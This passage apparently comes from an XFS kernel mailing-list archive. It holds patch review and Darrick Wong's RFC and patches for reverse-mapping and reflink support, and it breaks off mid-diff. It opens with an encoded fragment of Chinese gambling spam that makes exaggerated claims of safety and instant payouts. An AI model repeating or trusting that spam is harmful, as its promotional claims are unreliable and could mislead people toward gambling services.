=8A=E9=99=90=EF=BC=8C=E5=85=AC=E8=AE=A4=E4=BF=A1=E8=AA=89 =E5=AE=89=E5=85= =A8=E6=B0=B8=E4=B9=85=EF=BC=88=E7=8B=AC=E4=B8=80=E6=97=A0=E4=BA=8C=EF=BC=8C= =E4=BB=85=E6=AD=A4=E4=B8=80=E5=AE=B6=EF=BC=89 =E5=8D=95=E7=AC=94=E6=9C=80=E9=AB=98=E6=8F=90=E6=AC=BE1000=E4=B8=87=EF=BC= =8C =E5=AD=98=E5=8F=96=E6=AC=BE=E8=87=AA=E7=94=B1=EF=BC=8C0=E6=89=8B=E7=BB= =AD=E8=B4=B9 3=E5=88=86=E9=92=9F=E5=88=B0=E8=B4=A6 =E8=B5=9B=E4=BA=8B=E6=9C=80=E5=85=A8=EF=BC=8C=E8=B5=94=E7=8E=87=E6=9C=80=E9= =AB=98=EF=BC=8C=E8=BF=94=E6=B0=B4=E6=9C=80=E9=AB=98=EF=BC=8C=E7=BB=93=E7=AE= =97=E6=9C=80=E5=BF=AB=EF=BC=8C=E6=98=AF=E4=BA=9A=E6=B4=B2=E6=9C=80=E5=8F=97= =E6=AC=A2=E8=BF=8E=E4=BD=93=E8=82=B2=E6=8A=95=E6=B3=A8=E5=B9=B3=E5=8F=B0. = . =E7=94=B3=E2=88=9A=E8=AF=B7=E2=88=9A18=E5=85=83=E2=98=85=E6=8E=A8=E2=99=80= =E5=B9=BF=E5=BD=A9=E2=98=86=E9=87=91=E9=9C=80=E2=88=9A=E8=A6=81=E6=8E=A8=E2= =99=82=E5=B9=BF=E8=BD=AC=E2=99=80=E5=8F=91=E6=B6=88=E2=88=9A=E6=81=AF=EF=BC= =81 =E4=BB=B0=E6=85=95=E5=B7=B2=E4=B9=85=E8=AF=B4=E4=B9=85=E4=BB=B0=EF=BC=8C=E9= =95=BF=E6=9C=9F=E6=9C=AA=E8=A7=81=E8=AF=B4=E4=B9=85=E8=BF=9D=EF=BC=8C=E6=B1= =82=E4=BA=BA=E5=B8=AE=E5=BF=99=E8=AF=B4=E5=8A=B3=E9=A9=BE=E3=80=82

Fandt du linket interessant?

Du kan ogs=C3=A5 videresende den til dine venner:
http://us7.forward-to-fri= end.com/forward?u=3D488744d1114c763c3fd1129d6&id=3Dcc229062d6

Du kan tilmelde dig flere e-mails p=C3=A5:
http://kosmeti= skguide.us7.list-manage.com/subscribe?u=3D488744d1114c763c3fd1129d6&id=3D0c= 8e216d02

* Bem=C3=A6rk: hvis der ikke kan klikkes p=C3=A5 nogen af =E2=80=8B=E2=80= =8Bwebadresserne ovenfor kan du kopiere/inds=C3=A6tte dem i din webbrowser.
=09 =09 =09 =09
3D"Email
--_av-wNbXohvT9BIajEXAt8CEPQ-- From sandeen@sandeen.net Tue Oct 6 22:37:54 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B9D887F37 for ; Tue, 6 Oct 2015 22:37:54 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 462A9AC005 for ; Tue, 6 Oct 2015 20:37:53 -0700 (PDT) X-ASG-Debug-ID: 1444189072-04bdf020da0cfb0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id VFsaKXu2SoagXn5P for ; Tue, 06 Oct 2015 20:37:52 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 0652D653B8AC for ; Tue, 6 Oct 2015 22:37:51 -0500 (CDT) Subject: Re: [PATCH 7/7 v11] xfs: per-filesystem stats counter implementation To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 7/7 v11] xfs: per-filesystem stats counter implementation References: <1443802960-26662-1-git-send-email-billodo@redhat.com> <1443802960-26662-8-git-send-email-billodo@redhat.com> <20151006213553.GA21334@redhat.com> From: Eric Sandeen X-Enigmail-Draft-Status: N1110 Message-ID: <5614938F.3020000@sandeen.net> Date: Tue, 6 Oct 2015 22:37:51 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <20151006213553.GA21334@redhat.com> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1444189072 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23260 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 10/6/15 4:35 PM, Bill O'Donnell wrote: > UPDATE: > -v11: fix errors in dfs_dquot.c functions touching stats counts. > > This patch modifies the stats counting macros and the callers > to those macros to properly increment, decrement, and add-to > the xfs stats counts. The counts for global and per-fs stats > are correctly advanced, and cleared by writing a "1" to the > corresponding clear file. > > global counts: /sys/fs/xfs/stats/stats > per-fs counts: /sys/fs/xfs/sda*/stats/stats > > global clear: /sys/fs/xfs/stats/stats_clear > per-fs clear: /sys/fs/xfs/sda*/stats/stats_clear > > Signed-off-by: Bill O'Donnell > --- ... > diff --git a/fs/xfs/xfs_stats.h b/fs/xfs/xfs_stats.h > index 54f2260..2ab82c5 100644 > --- a/fs/xfs/xfs_stats.h > +++ b/fs/xfs/xfs_stats.h > @@ -218,14 +218,23 @@ int xfs_stats_format(struct xfsstats __percpu *stats, char *buf); > void xfs_stats_clearall(struct xfsstats __percpu *stats); > extern struct xstats xfsstats; > > -#define XFS_STATS_INC(v) \ > - (per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v++) > +#define XFS_STATS_INC(mp, v) \ > +do { \ > + per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v++; \ > + per_cpu_ptr(mp->m_stats.xs_stats, current_cpu())->v++; \ > +} while (0) > > -#define XFS_STATS_DEC(v) \ > - (per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v--) > +#define XFS_STATS_DEC(mp, v) \ > +do { \ > + per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v--; \ > + per_cpu_ptr(mp->m_stats.xs_stats, current_cpu())->v--; \ > +} while (0) > > -#define XFS_STATS_ADD(v, inc) \ > - (per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v += (inc)) > +#define XFS_STATS_ADD(mp, v, inc) \ > +do { \ > + per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v += (inc); \ > + per_cpu_ptr(mp->m_stats.xs_stats, current_cpu())->v += (inc); \ > +} while (0) > > extern int xfs_init_procfs(void); > extern void xfs_cleanup_procfs(void); One other thing that I just caught looking at the code (not enough context in the patch to see it) - this is all under #ifdef CONFIG_PROC_FS, and now that it's all moved to sysfs, we should just remove that conditional from this file. The only thing that matters w.r.t. procfs is the symlink creation, and that's already handled in xfs_init_procfs() definitions. Dave, maybe you can just fix that on commit ... -Eric From darrick.wong@oracle.com Tue Oct 6 23:54:53 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EB5A27F37 for ; Tue, 6 Oct 2015 23:54:52 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id DC755304032 for ; Tue, 6 Oct 2015 21:54:49 -0700 (PDT) X-ASG-Debug-ID: 1444193687-04cb6c57850d370001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id jRuT0udRt1pQOENw (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:54:47 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974skXF004087 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:54:46 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974sk8V027792 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:54:46 GMT Received: from abhmp0012.oracle.com (abhmp0012.oracle.com [141.146.116.18]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t974sjV7002475; Wed, 7 Oct 2015 04:54:45 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:54:45 -0700 Subject: [RFCv3 00/58] xfs: add reverse-mapping, reflink, and dedupe support From: "Darrick J. Wong" X-ASG-Orig-Subj: [RFCv3 00/58] xfs: add reverse-mapping, reflink, and dedupe support To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:54:44 -0700 Message-ID: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444193687 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Hi all, This is the third revision of an RFC for adding to XFS kernel support for tracking reverse-mappings of physical blocks to file and metadata; and support for mapping multiple file logical blocks to the same physical block, more commonly known as reflinking. Given the significant amount of re-engineering required to make the initial rmap implementation compatible with reflink, I decided to publish both features as an integrated patchset off of upstream. This means that rmap and reflink are now compatible with each other. Dave Chinner's initial rmap implementation featured a simple b+tree containing (_physical_block_, blockcount, owner) records and enough code to stuff the rmap btree (rmapbt) whenever a block was allocated or freed. However, a generic reflink implementation requires the ability to map a block to any logical block offset in any file. Therefore it is necessary to expand the rmapbt record definition to be (_physical block_, _owner_, _offset_, blockcount) to maintain uniquely identifiable records. The upper two bits of the offset field are used to flag attr fork records and bmbt block records, respectively. The highest bit of the blockcount is used to indicate an unwritten extent. It is intended that in the future the rmapbt will some day be used to reconstruct a corrupt block map btree (bmbt). The reflink implementation features a simple b+tree containing (_physical block_, blockcount, refcount) records to track the reference counts of extents of physical blocks. There's also support code to provide the desired copy-on-write behavior and the userland interfaces to reflink, query the status of, and a new fallocate mode to un-reflink parts of files. For single-owner blocks (i.e. metadata) the rmapbt records are still managed at alloc/free time. To enable reflink and rmap at the same time, however, it becomes necessary to manage rmapbt records for file extents at map/unmap time. In the current implementation, file extent records exactly mirror bmbt contents. It should be easy to merge file extent rmaps on non-reflink filesystems, but that is not yet written. In theory merging can happen for file extent rmaps on reflink filesystems too, but that could involve a lot of searching through the tree since records are not indexed on the last physical block of the extent. The ioctl interface to XFS reflink looks surprisingly like the btrfs ioctl interface -- you can reflink a file, reflink subranges of a file, or dedupe subranges of files. To un-reflink a file, I'm proposing a new fallocate flag which will (try to) fork all shared blocks within a certain file range. xfs_fsr is a better candidate for de-reflinking a file since it also defragments the file; the extent swap ioctl has also been upgraded (crappily) to support updating the rmapbt as needed. The patch set is based on the current (4.3-rc4) upstream kernel. There are plenty of bugs in this code; in particular the copy-on-write code is still terrible and prone to all sorts of amusing crashes. There are too many patches to discuss individually, but they are grouped by subject area: 0. Cleanups 1. rmapbt support 2. Re-engineering rmapbt to support reflink 3. refcntbt support 4. Implement the data block sharing pieces of reflink Issues: * The toy CoW implementation exists as a single-threaded workqueue(!) In talking with Dave Chinner, I get the sense that he sees CoW as a a natural extension of a reworked XFS write path that doesn't use buffer heads. That work hasn't landed, so I've only put enough effort into fixing the CoW so that it can (barely) pass the associated xfstests. In the future, a CoW block being written would simply become a delalloc extent and the process of allocating the delalloc extent would merely have to know to unmap whatever's there first. * The extent swapping ioctl now allocates a bigger fixed-size transaction. That's most likely a stupid thing to do, so getting a better grip on how the journalling code works and auditing all the new transaction users will have to happen. Right now it mostly gets lucky. * Don't ENOSPC. This should get fixed up once we start using delalloc. * We'll want to connect to copy_file_range when it appears in a kernel release some time. If you're going to start using this mess, you probably ought to just pull from my github trees for kernel[1], xfsprogs[2], and xfstests[3]. This is an extraordinary way to eat your data. Enjoy! Comments and questions are, as always, welcome. --D [1] https://github.com/djwong/linux-xfs-dev/commits/master [2] https://github.com/djwong/xfsprogs/commits/for-next [3] https://github.com/djwong/xfstests/commits/master From darrick.wong@oracle.com Tue Oct 6 23:54:55 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D66D37F50 for ; Tue, 6 Oct 2015 23:54:55 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B8ACF304032 for ; Tue, 6 Oct 2015 21:54:55 -0700 (PDT) X-ASG-Debug-ID: 1444193693-04bdf020dc0e2f0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id XvUHAU23QOM83L11 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:54:54 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974sqLt009474 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:54:53 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t974sqOP023057 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:54:52 GMT Received: from abhmp0003.oracle.com (abhmp0003.oracle.com [141.146.116.9]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t974sq7q002506; Wed, 7 Oct 2015 04:54:52 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:54:52 -0700 Subject: [PATCH 01/58] libxfs: make xfs_alloc_fix_freelist non-static From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 01/58] libxfs: make xfs_alloc_fix_freelist non-static To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:54:50 -0700 Message-ID: <20151007045450.30457.29367.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193694 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Since xfs_repair wants to use xfs_alloc_fix_freelist, remove the static designation. xfsprogs already has this; this simply brings the kernel up to date. Signed-off-by: Darrick J. Wong --- fs/xfs/libxfs/xfs_alloc.c | 2 +- fs/xfs/libxfs/xfs_alloc.h | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/fs/xfs/libxfs/xfs_alloc.c b/fs/xfs/libxfs/xfs_alloc.c index ffad7f2..cc07884 100644 --- a/fs/xfs/libxfs/xfs_alloc.c +++ b/fs/xfs/libxfs/xfs_alloc.c @@ -1924,7 +1924,7 @@ xfs_alloc_space_available( * Decide whether to use this allocation group for this allocation. * If so, fix up the btree freelist's size. */ -STATIC int /* error */ +int /* error */ xfs_alloc_fix_freelist( struct xfs_alloc_arg *args, /* allocation argument structure */ int flags) /* XFS_ALLOC_FLAG_... */ diff --git a/fs/xfs/libxfs/xfs_alloc.h b/fs/xfs/libxfs/xfs_alloc.h index ca1c816..071b28b 100644 --- a/fs/xfs/libxfs/xfs_alloc.h +++ b/fs/xfs/libxfs/xfs_alloc.h @@ -233,5 +233,6 @@ xfs_alloc_get_rec( int xfs_read_agf(struct xfs_mount *mp, struct xfs_trans *tp, xfs_agnumber_t agno, int flags, struct xfs_buf **bpp); +int xfs_alloc_fix_freelist(struct xfs_alloc_arg *args, int flags); #endif /* __XFS_ALLOC_H__ */ From darrick.wong@oracle.com Tue Oct 6 23:55:04 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DBCA47F37 for ; Tue, 6 Oct 2015 23:55:04 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id CD6408F8037 for ; Tue, 6 Oct 2015 21:55:01 -0700 (PDT) X-ASG-Debug-ID: 1444193699-04cbb03f120d440001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id zbOP3HomYkaBMAnT (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:54:59 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974swDs004163 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:54:59 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974swlT028218 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:54:58 GMT Received: from abhmp0016.oracle.com (abhmp0016.oracle.com [141.146.116.22]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t974sw4u005375; Wed, 7 Oct 2015 04:54:58 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:54:58 -0700 Subject: [PATCH 02/58] xfs: fix log ticket type printing From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 02/58] xfs: fix log ticket type printing To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:54:57 -0700 Message-ID: <20151007045457.30457.96842.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444193699 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Update the log ticket reservation type printing code to reflect all the types of log tickets, to avoid incorrect debug output and avoid running off the end of the array. Signed-off-by: Darrick J. Wong --- fs/xfs/xfs_log.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/fs/xfs/xfs_log.c b/fs/xfs/xfs_log.c index aaadee0..75734af 100644 --- a/fs/xfs/xfs_log.c +++ b/fs/xfs/xfs_log.c @@ -2045,12 +2045,14 @@ xlog_print_tic_res( "QM_DQCLUSTER", "QM_QINOCREATE", "QM_QUOTAOFF_END", - "SB_UNIT", "FSYNC_TS", "GROWFSRT_ALLOC", "GROWFSRT_ZERO", "GROWFSRT_FREE", - "SWAPEXT" + "SWAPEXT", + "CHECKPOINT", + "ICREATE", + "CREATE_TMPFILE" }; xfs_warn(mp, "xlog_write: reservation summary:"); From darrick.wong@oracle.com Tue Oct 6 23:55:10 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 816BD7F58 for ; Tue, 6 Oct 2015 23:55:10 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 70B43304032 for ; Tue, 6 Oct 2015 21:55:10 -0700 (PDT) X-ASG-Debug-ID: 1444193708-04cb6c57860d390001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 2yABLel3zLf5TMdw (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:55:08 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974t6Id009828 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:55:07 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974t61D028611 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:55:06 GMT Received: from abhmp0013.oracle.com (abhmp0013.oracle.com [141.146.116.19]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t974t5fE018147; Wed, 7 Oct 2015 04:55:05 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:55:05 -0700 Subject: [PATCH 03/58] xfs: introduce rmap btree definitions From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 03/58] xfs: introduce rmap btree definitions To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Dave Chinner Date: Tue, 06 Oct 2015 21:55:03 -0700 Message-ID: <20151007045503.30457.97807.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193708 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines >From : Dave Chinner Add new per-ag rmap btree definitions to the per-ag structures. The rmap btree will sit inthe empty slots on disk after the free space btrees, and hence form a part of the array of space management btrees. This requires the definition of the btree to be contiguous with the free space btrees. Signed-off-by: Dave Chinner --- fs/xfs/libxfs/xfs_alloc.c | 6 ++++++ fs/xfs/libxfs/xfs_btree.c | 4 ++-- fs/xfs/libxfs/xfs_btree.h | 3 +++ fs/xfs/libxfs/xfs_format.h | 22 +++++++++++++++++----- fs/xfs/libxfs/xfs_types.h | 4 ++-- 5 files changed, 30 insertions(+), 9 deletions(-) diff --git a/fs/xfs/libxfs/xfs_alloc.c b/fs/xfs/libxfs/xfs_alloc.c index cc07884..e5bede9 100644 --- a/fs/xfs/libxfs/xfs_alloc.c +++ b/fs/xfs/libxfs/xfs_alloc.c @@ -2275,6 +2275,10 @@ xfs_agf_verify( be32_to_cpu(agf->agf_levels[XFS_BTNUM_CNT]) > XFS_BTREE_MAXLEVELS) return false; + if (xfs_sb_version_hasrmapbt(&mp->m_sb) && + be32_to_cpu(agf->agf_levels[XFS_BTNUM_RMAP]) > XFS_BTREE_MAXLEVELS) + return false; + /* * during growfs operations, the perag is not fully initialised, * so we can't use it for any useful checking. growfs ensures we can't @@ -2405,6 +2409,8 @@ xfs_alloc_read_agf( be32_to_cpu(agf->agf_levels[XFS_BTNUM_BNOi]); pag->pagf_levels[XFS_BTNUM_CNTi] = be32_to_cpu(agf->agf_levels[XFS_BTNUM_CNTi]); + pag->pagf_levels[XFS_BTNUM_RMAPi] = + be32_to_cpu(agf->agf_levels[XFS_BTNUM_RMAPi]); spin_lock_init(&pag->pagb_lock); pag->pagb_count = 0; pag->pagb_tree = RB_ROOT; diff --git a/fs/xfs/libxfs/xfs_btree.c b/fs/xfs/libxfs/xfs_btree.c index f7d7ee7..b642170 100644 --- a/fs/xfs/libxfs/xfs_btree.c +++ b/fs/xfs/libxfs/xfs_btree.c @@ -42,9 +42,9 @@ kmem_zone_t *xfs_btree_cur_zone; * Btree magic numbers. */ static const __uint32_t xfs_magics[2][XFS_BTNUM_MAX] = { - { XFS_ABTB_MAGIC, XFS_ABTC_MAGIC, 